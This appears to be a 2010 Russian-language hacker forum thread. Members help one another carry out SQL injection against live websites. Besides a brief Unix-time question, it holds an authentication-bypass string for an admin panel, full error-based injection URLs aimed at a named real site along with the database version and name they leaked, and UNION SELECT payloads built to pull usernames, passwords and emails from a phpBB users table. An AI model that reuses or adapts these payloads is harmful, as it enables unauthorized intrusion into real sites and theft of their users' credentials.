09.04.2010, 13:34
|
|
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
С нами:
9594385
Репутация:
386
|
|
Сообщение от Linkus
В общем не знаю там ли написал, но вот такой вот вопрос ребята. В некой БД как то странно время вычисляется в виде цифр, в колонке time к примеру 1269553831 или 1269554171 . Я так понимаю это какая то зашифрованная дата или цифра. Как расшифровать? И можно ли цифру преобразовать в такой код.
http://ru.wikipedia.org/wiki/UNIX-время
|
|
|
09.04.2010, 13:44
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 130
С нами:
9152722
Репутация:
11
|
|
Огромнейшее спасибо.  |
|
|
|
09.04.2010, 15:32
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Набираю в админке: 'or+5=5)--
выскакивает такая ошибка:
error executing query select id from trustee where name = ''or+5=5)-- ':
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')-- '' at line 1
Как тут правильно составить запрос?
Заранее всем спасибо!
|
|
|
|
09.04.2010, 17:17
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
Сообщение от FlaktW
Набираю в админке: 'or+5=5)--
выскакивает такая ошибка:
error executing query select id from trustee where name = ''or+5=5)-- ':
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')-- '' at line 1
Как тут правильно составить запрос?
Заранее всем спасибо!
не плюсы, а пробелы используй.
|
|
|
|
09.04.2010, 18:24
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Не получается, вот админка попробуйте сами:
http://www.vierpfoten.org/redadmin
|
|
|
|
09.04.2010, 18:47
|
|
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
С нами:
8603287
Репутация:
87
|
|
Сообщение от FlaktW
Не получается, вот админка попробуйте сами:
http://www.vierpfoten.org/redadmin
Код:
http://www.vierpfoten.org/website/output.php?id=1001%27+and+%28select*from%28select+count%28*%29from%28select+1+union+select+2+union+select+3%29x+group+by%20concat%28mid%28%28select+version%28%29+from+INFORMATION_SCHEMA.TABLES+limit+0,1%29,1,33%29,floor%28rand%280%29*2%29%29%29z%29/*
Version: 5.0.22-Debian_0ubuntu
database: cmsVpOrgNe
ищи я уверен ты найдешь там что нужно 
Код:
http://www.vierpfoten.org/website/output.php?id=1001%27+and+%28select*from%28select+count%28*%29from%28select+1+union+select+2+union+select+3%29x+group+by%20concat%28mid%28%28select+table_name+from+INFORMATION_SCHEMA.TABLES+limit+0,1%29,1,10%29,floor%28rand%280%29*2%29%29%29z%29/*
Последний раз редактировалось [Feldmarschall]; 09.04.2010 в 18:52..
|
|
|
|
09.04.2010, 17:12
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами:
9780227
Репутация:
1423
|
|
Пробуй '+||+'1
|
|
|
|
09.04.2010, 21:23
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
ребят помогите са скулом  есть таблица phpbb_users
table_rows возвращает 4186
а когда делаю запрос union+select+1,2+from+phpbb_users--
выдает ошибку help!! |
|
|
|
09.04.2010, 21:30
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
С нами:
9347610
Репутация:
165
|
|
Сообщение от Konqi
ребят помогите са скулом есть таблица phpbb_users
table_rows возвращает 4186
а когда делаю запрос union+select+1,2+from+phpbb_users--
выдает ошибку help!! Ты пытаешься вывести колонки 1 и 2 , которые не существуют в таблице phpbb_users
Почитай внимательнее
Последний раз редактировалось SeNaP; 09.04.2010 в 21:33..
|
|
|
|
09.04.2010, 21:39
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
Сообщение от SeNaP
Ты пытаешься вывести колонки 1 и 2 , которые не существуют в таблице phpbb_users
Почитай внимательнееunion+select+concat(username,char(58),user_passwor d,char(58),user_email,char(58),user_icq),2+from+ph pbb_users--
тоже возвращает ошибку 
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [Feldmarschall]](/avatars/avatar109813.jpg?2058211){kind=avatar}
Похожие темы
Комбинированный вид
